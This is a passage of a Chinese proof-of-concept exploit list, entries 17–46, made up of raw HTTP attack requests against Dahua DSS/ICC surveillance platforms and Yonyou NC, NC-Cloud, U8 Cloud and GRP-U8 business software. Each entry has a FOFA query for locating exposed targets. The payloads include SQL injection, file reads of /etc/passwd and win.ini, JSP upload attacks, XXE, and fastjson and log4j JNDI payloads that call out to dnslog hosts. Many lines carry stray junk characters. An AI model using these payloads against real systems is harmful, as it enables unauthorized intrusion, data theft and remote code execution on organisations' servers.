. Q2 j& ?$ h2 Y# _- D% u9 R/ HGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
. [! A6 d, X  XHost: x.x.x.x
) J6 {* g( w0 i' |8 |5 ]User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
, M" F, D* a7 d" l" _: B, J% c1 U

17. 大华 DSS itcBulletin SQL 注入
5 Y  I. C& E( k  `) k  IFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
. z. L- ~, w; f. j% IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip

% O9 U& @; D1 `9 L# w<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
: {. R( B8 l* @  A<s11:Body>
& j/ ]4 ]" T2 @* d) m    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
5 \2 _( |4 H7 `2 q      <netMarkings>
3 Z8 z4 i% {) q; Y       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
9 l! l2 i) n; i; M( y    </ns1:deleteBulletin>
  z4 M/ h  u7 t, t: R  </s11:Body>
5 ~. t! u, d& K) g! k: F2 T8 `" Y</s11:Envelope>
6 H% N2 j2 O1 z/ j8 X5 W4 ?

& N; Q- h" |& \! k4 S( F; E2 g18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
1 H# }; j, v7 R9 W2 Z" AFOFA：app="dahua-DSS"
0 ^6 P( B8 ^; z2 e6 k$ GGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
) o. y# z" f$ n& Q" @7 w" _Host: your-ip
0 f8 p- ]; S0 p: t- S: o% IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 h2 `% N  z6 Z- V  ]& {Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
0 d- _, W& o, D- ~


' u+ D9 u; E7 f2 v5 j0 r19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
" s8 n. ]# V2 v" ?7 w# GFOFA：app="dahua-DSS"
/ q! N8 Z: G/ e# m* g, LGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
3 r0 I7 K5 y( |7 e. ]3 E8 W5 a/ FHost:
, t' f& D" x& c/ f. l2 j; O+ IUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
$ n7 B8 h9 J" A' h& p" aAccept-Encoding: gzip, deflate
3 V- P7 b/ I% E2 ^; ^Accept: */*
Connection: keep-alive

( k+ ~- }# [4 ]  A' G0 q
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
: F" A: ?& T& J. dHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

; O$ `# [/ \+ x
21. 大华ICC智能物联综合管理平台random远程代码执行
/ P3 W" F. H5 m% g! f( YFOFA：icon_hash="-1935899595"
* [  G2 u- c. W  h% A5 C3 Y7 |POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
5 j2 s' g" ]' L2 d: G0 S/ RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
# N8 c- m) [0 G/ a7 T/ c/ bAccept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8

" k$ z/ R2 e$ s& D{
"a":{
; o" @1 p. \/ z/ l   "@type":"com.alibaba.fastjson.JSONObject",
3 \2 n3 L' s* e( \* T7 @    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
6 F( D+ ?/ G* F8 U  }""
}


) s* E1 Q) ?, s& e2 y; T+ R22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
( }, ~' q4 Z8 P3 nPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
* Z& T3 f6 Y) W6 F* r. g; M0 IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
- c9 g1 n4 l  B; @  K0 _; d3 a
& p2 d; \( j, h{
"loginName":"${jndi:ldap://dnslog}"
1 W, f3 \; w! \9 M8 V8 f}

- @% r/ w) C& Q$ x4 t/ {& Z8 l

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
7 [! S+ ^2 \- w  J& PFOFA：icon_hash="-1935899595"
; P6 q) _3 w7 N3 S+ Z9 m; S' u4 gPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
" f/ I6 i( w, L0 ~8 h+ K" w4 sHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 q# P# `* c: [& z/ C: j! T0 ?Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

{
# X5 y, |+ R3 `: S    "a":{
# i6 G; N2 ]7 R& O3 L+ \2 {; c1 @        "@type":"com.alibaba.fastjson.JSONObject",
1 B0 [9 N- D/ g0 F9 U7 s       {"@type":"java.net.URL","val":"http://DNSLOG"}
) r' c) N# M5 E' v) O. A: q        }""
6 z" V0 ^* o1 ?3 B2 l9 L1 m5 b& n}

" \2 X, ?% W% i) k( i9 b
8 v2 M! N3 q- g- {24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
0 |" y, f0 @/ [6 X/ Y: kUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
" U  z, S" d. B# eAccept: */*
& [7 ?% G1 Z6 s0 a+ r. M7 v( `Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
) b  T3 p; h. Y! L+ |  bContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
0 v) B# k: \) T  G: Z4 H/ b-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
. P, d0 F4 y% f9 b& V5 vContent-Disposition: form-data; name="fname"
5 r" \8 N: k2 v& W/ @7 ]
2 M! [1 n/ Y& w7 A; I- [\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
) ^: N: @! c" _$ ]. a  Y: f* m

2 ^: A% H: V5 d) z0 Z; w25. 用友NC registerServlet JNDI 远程代码执行
+ X, }# ~$ R7 H0 MFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
! A( y  }: Z! p  N& Q8 I$ ]( A) ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
3 v6 A0 ^+ W/ \$ L9 ^Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
% G. w, T# i; ]0 c1 ^
type=1&dsname=ldap://dnslog
0 z( r: V% I! W1 Y: {

" m5 i1 @! V$ L) G. ^# d
& J  J& F1 r- y( d8 _+ r7 J# j* g26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
! J% o% K: l8 X$ A* L- @GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
' U8 f/ Y! H& \  TAccept-Encoding: gzip, deflate
7 z; \- E. E; QAccept: */*
Connection: keep-alive
# ?1 O* ~. q9 f. }
; T6 Z- |' r' x  u/ f8 x* F7 X0 F
27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
" R8 z2 N4 J, Z. {7 T2 LHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 r  c. b8 F! H6 Q3 ^Accept-Encoding: identity
8 U) i5 x/ J' Q- I1 M4 e; f5 ~Connection: close
Content-Type: text/xml; charset=utf-8

4 ~0 M7 a: O8 P& L8 u( J6 v
28. 用友NC grouptemplet 任意文件上传
- J! a8 L2 E% z' r+ K4 yFOFA：icon_hash="1085941792"
1 u+ V% h$ \2 j% t" x2 K: y7 }POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
/ U% H7 Q' j$ h7 E4 b' PConnection: close
Content-Length: 268
5 b8 M2 B$ e7 [" i5 ~Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
% r6 e# d: P- b0 y3 yAccept-Encoding: gzip
3 Q/ F( W5 ]% {' q
  A6 v# d4 M8 H" y, n" u------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
$ t5 r! i; T) s7 bContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
3 {0 g! G4 [5 _, ~+ @- X
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

, E; b* A" H$ {
/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
$ q( e# _2 f& |# }1 KFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
8 y" Q& o( |! u+ U6 f. mGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
! _4 W* |4 {. {: ~- |6 o2 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( b' ]# E# V4 a. ~* ^Content-Type: application/x-www-form-urlencoded
* k' Y+ \( c+ ?2 x) F# f+ KAccept-Encoding: gzip, deflate
8 O/ Z: l4 x/ vAccept: */*
2 Z; P, ~9 u* U. d) i! sConnection: keep-alive
. p( j& q- m; R" K3 H( a; b# m

; s$ V& C* d3 o30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
8 L! ~  G8 w1 V/ f8 d- u; G9 `POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
4 m; P% j# O2 F, V8 Y& bContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
$ `; D' ~7 ^! A2 O& pContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
. U9 [7 g$ l5 hContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
/ T  k, K* U: ?8 G& g

0 G+ {+ `0 \0 \. h31. 用友NC runStateServlet SQL注入
version<=6.5
: t  s" ]/ U/ D/ H& r+ V$ n; y+ `FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
7 g( u8 E! t9 @& GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
! |$ w" H$ x! H0 x5 X) ?, u1 M. yContent-Type: application/x-www-form-urlencoded
* V) e; Z. H% ?7 U  K
. ?+ M% u1 v) p4 Y  d  I
+ K& ~. W0 N3 j* ]1 Q  J32. 用友NC complainbilldetail SQL注入
, M- n, u/ n3 P* Wversion= NC633、NC65
6 y0 O" c* i, _; b" n: m  lFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% v- C- L5 z, L) V1 g2 U, ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
: ?5 z/ r7 n6 Q- o' D2 E6 I8 P9 PConnection: keep-alive


33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
) j4 e  X. w2 oGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ V7 O5 C! c4 |3 F, r9 D% zContent-Type: application/x-www-form-urlencoded
4 I. x) m8 R) g0 r3 o* MAccept-Encoding: gzip, deflate
Accept: */*
6 }% }3 _  v. jConnection: keep-alive


- W1 o8 v8 e* R# ?' u5 ?( ^34. 用友NC warningDetailInfo接口SQL注入
2 F. c" Y( y  m5 }FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 r7 S/ G# ], h, d+ YHost: your-ip
" K8 f2 l0 J. q! i7 ^0 j, y+ ~3 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) B5 e" r% e/ G& ?, ZContent-Type: application/x-www-form-urlencoded
# N5 V0 }0 P/ w) g$ T2 S. x. G% z. ]Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
& s7 U1 h. u+ a* w' @
0 f/ h; o* N7 G
35. 用友NC-Cloud importhttpscer任意文件上传
7 D1 h3 m& [! k4 K  g& B; `FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
6 ?) ?- B$ G2 c3 a4 ]& p0 w9 oAccept-Encoding: gzip, deflate
1 d$ S$ k5 k5 Q4 S5 C6 p4 \4 _8 |5 QAccept: */*
Connection: close
+ s8 g5 S# J. `% r% L; L& i/ NaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
9 M* @  n! x: I. L2 b& NContent-Length: 190
6 U) q8 T# w! k. yContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
1 W: ~) y4 S6 ~) m/ O
* ?/ R) A2 k0 W. H3 V# }4 b<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

1 L2 R; B9 s2 E& B' H' ^! S
9 j5 {' i6 y& r# J7 ], n36. 用友NC-Cloud soapFormat XXE
. O1 b2 j! v6 }- L  F$ lFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
6 J7 R) V. o8 x5 aHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ }# g0 z/ V( OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
5 }5 d( P1 c7 EUpgrade-Insecure-Requests: 1
/ k, s( F" J, R9 d
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
: ]+ u1 ^/ x+ w. n: y: [
5 X2 t: Z7 x- w4 @% B
37. 用友NC-Cloud IUpdateService XXE
# B+ f9 o6 t5 `) z) v3 U" h- A4 rFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
7 e" d* Q+ l" o3 O2 VHost: 192.168.40.130:8989
$ H  a/ C- j+ i! p" IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
: h8 @" \, H+ D/ y" p  z& U' Q/ ^Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
( ]2 b: G/ y; oAccept-Language: zh-CN,zh;q=0.9
1 X1 g) |  @/ w% eConnection: close
: G9 c. ]) U8 yContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
* ]. k3 u/ W4 v. z) bUpgrade-Insecure-Requests: 1

0 A. m5 P/ d  Q( Z<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
5 r* ?  T  m2 a3 b9 y5 m2 Y: m<soapenv:Body>
<iup:getResult>
/ c8 s% D7 P: G<!--type: string-->
1 a$ B5 [- y$ R1 Q2 I5 A/ l<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
+ |+ ~( Y" x' x8 H$ a/ D$ M$ H9 X! q<xxx/>]]></iup:string>
</iup:getResult>
; t+ d& o& M6 e: x' C: P0 P6 M</soapenv:Body>
</soapenv:Envelope>
; J" B: k( a  h* \# M7 N% Y
0 L8 t9 n4 p( O2 w9 _2 L
! U4 T- w# i8 A4 e3 ]8 N1 k
. ]: K+ M  z" O1 t; R38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
- d( h* Z1 }# Y) Q3 c: }$ L9 iHost: 192.168.40.131:8088
4 {" ~8 A" L8 M4 X) T* ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
* {& o8 u0 _& q, n7 ?# AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
; _/ h/ j% b; F9 h5 l4 CAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
5 U% o3 t: }& P- W7 v

" [0 O5 E; \; p* H1 J- m  f: y( q39. 用友U8 Cloud RegisterServlet SQL注入
  P/ ^, @9 ~! _FOFA：title="u8c"
: z" h1 F6 w% t, qPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
* @/ y! I% D4 ]5 v8 W& h+ ~Connection: close
5 w) W5 H/ d3 R* x* x7 NContent-Length: 85
; N' G& j- i7 s. _4 y( HAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
9 }% {- Y& j5 p7 w2 w4 Q5 pX-Forwarded-For: 127.0.0.1
9 d3 ?+ n' V5 |, HAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

& c6 T& _% v; h
: [8 v' e' S& m# m: S$ x9 C4 k40. 用友U8-Cloud XChangeServlet XXE
' `4 P, Q7 Q0 q: {1 B" ]FOFA：app="用友-U8-Cloud"
7 ]. W3 x/ {; D) M8 O7 p# }POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
  f. C3 p  D& t0 E7 ZUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
: C: Z4 {) l) F
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
0 U; G" ~5 |+ V

: Y4 G9 S( y- _+ P0 u9 E# J41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
* I% m: F$ b( n& N! O/ |8 x1 QHost:
  \2 t' x1 r/ ~/ i, mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, A& {6 C  u% K/ C) Y: AContent-Type: application/json
2 g) a4 p( u* ?0 JAccept-Encoding: gzip
Connection: close
) W. F! u0 k3 f- e" \

4 C2 T7 ^1 X) k42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
) M# P) ~: T2 K8 i3 {+ tPOST /u8qx/SmartUpload01.jsp HTTP/1.1
' R' u* Q  ]$ x7 e* d8 g' vHost: x.x.x.x
3 ^+ S1 j% v; }! b4 s+ g) g+ |( yContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
! t1 @! b4 j: NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

) ]8 ]* p0 l7 i4 UPAYLOAD
' \# y6 X7 ^3 C2 f/ |
/ P. [* ~6 b2 z) v9 l3 J
- V3 \% G8 S+ ihttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
& |  r( O/ q, Q% R/ q- k  d
# c5 D- }9 L& `# _: [1 Y43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
7 Q5 k9 G9 e0 B' v6 Y% wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
; V9 b$ O" {" pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 o& `4 M3 ^0 IAccept-Encoding: gzip, deflate
1 B( \5 q( {) [% h7 S1 G  ~+ ~Accept-Language: zh-CN,zh;q=0.9
* }8 H( P( D4 c( U9 \Connection: close
6 h+ ^4 Z9 b3 f3 C7 wSOAPAction:
Content-Type: text/xml;charset=UTF-8

, ~( n7 E% M4 e: s0 R! K( {/ q4 N0 z# Q<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
  ?$ B& e, ]6 f4 w   <soapenv:Header/>
5 e, h& f4 Q6 g6 F; y$ N7 Z   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
6 p% H; d. q+ t! |         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
# W" k1 c1 j9 m5 d) X3 l   </soapenv:Body>
/ }, e. A3 |) Z6 e5 m' p& S* i' f</soapenv:Envelope>
) \: R5 ~7 J7 z. G, J, ~

- Z1 x& L/ U, X$ i" b% o3 _  i44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
$ \" g- o' _# D5 @GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
: _: C! T+ O- {& ^9 u! kHost: your-ip
4 X1 T7 g; B  G( H: \& ?# z' oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
+ w$ p, i7 K3 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 d) [% {% w( A  ], J$ f% \8 WConnection: close


45. 用友GRP-U8 ufgovbank XXE
3 A. k, c' Y9 C8 N) p  {1 UFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
0 F9 D! E9 `' b0 A) IHost: 192.168.40.130:222
7 ]. a5 }& ^' \' _  rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
7 A# o# k6 _( z0 bContent-Length: 161
' P4 v1 N5 L, l( W4 S6 S  Y- [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 r) D, p+ M, P# ?" H* uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 a( B5 X3 H  l. YContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

' v" W- b; @  w4 _8 n5 w' C" ]reqData=<?xml version="1.0"?>
! |5 r9 V2 r3 p$ M# I9 t$ ?9 `<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
3 @! x9 f% w  s. J2 b/ ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
